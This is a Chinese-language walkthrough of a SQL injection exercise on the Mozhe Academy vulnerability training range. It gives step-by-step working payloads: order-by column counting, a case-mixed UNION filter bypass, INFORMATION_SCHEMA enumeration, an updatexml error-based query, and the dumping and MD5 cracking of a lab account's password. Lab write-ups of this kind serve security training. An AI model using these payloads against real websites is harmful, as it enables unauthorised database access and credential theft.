2023-05-27 12:17:35
显错注入—操作记录—墨者学院漏洞靶场
在墨者学院的漏洞靶场中,显错注入(也称为报错注入)是一种通过引发数据库错误来泄露数据库信息的攻击技术。以下是在该靶场中执行显错注入的详细步骤和操作记录:
一、访问靶场并识别注入点
访问靶场:
打开墨者学院提供的SQL注入漏洞测试靶场链接。
在页面通知栏中,可以看到滚动的通知信息,这通常不影响我们的测试过程。
识别注入点:
观察URL,发现存在?id=1这样的GET参数,这是潜在的SQL注入点。
尝试在URL中直接操作参数,如添加单引号(')、双引号(")、and 1=1或and 1=2等,以触发数据库错误或改变页面行为。
二、确定字段数
在URL中尝试添加order by语句,如?id=1 order by 4,逐步增加数字,直到页面报错。
当order by 5时页面报错,说明数据库查询中涉及的字段数为4个。
三、尝试UNION SELECT并绕过过滤
初步尝试UNION SELECT:
由于已知字段数为4,尝试使用UNION SELECT语句来合并查询结果,如?id=-1' UNION SELECT 1,2,3,4--。
但发现系统过滤了UNION关键字。
绕过过滤:
尝试使用大小写混用、字符串编码等方式绕过过滤。
如?id=-1' uNioN SELECT 1,2,3,4--,成功绕过过滤。
四、获取数据库信息
获取数据库名:
使用UNION SELECT语句结合数据库函数,如?id=-1' uNioN SELECT 1,DATABASE(),3,4--。
得到数据库名为stormgroup。
获取表名:
使用INFORMATION_SCHEMA.TABLES视图查询表名,如?id=-1' uNioN SELECT 1,GROUP_CONCAT(TABLE_NAME),3,4 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--。
得到表名为member。
获取列名:
使用INFORMATION_SCHEMA.COLUMNS视图查询列名,如?id=-1' uNioN SELECT 1,GROUP_CONCAT(COLUMN_NAME),3,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='member'--。
得到列名为name、password、status。
五、获取数据内容
获取账号和密码:
使用UNION SELECT语句结合GROUP_CONCAT函数查询member表中的数据,如?id=-1' uNioN SELECT 1,GROUP_CONCAT(name,',',password,',',status),3,4 FROM member--。
得到账号为mozhe,密码为81ec447be22c5ca6a3cb7c1d031d7864(MD5加密)。
解密密码:
使用在线MD5解密工具,将加密密码解密为明文密码606483。
六、其他方法
另一种获取数据库信息的方法是使用updatexml函数,如?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--。
通过修改查询内容,可以获取表名、列名和数据内容。
七、总结
以下是部分图片展示:




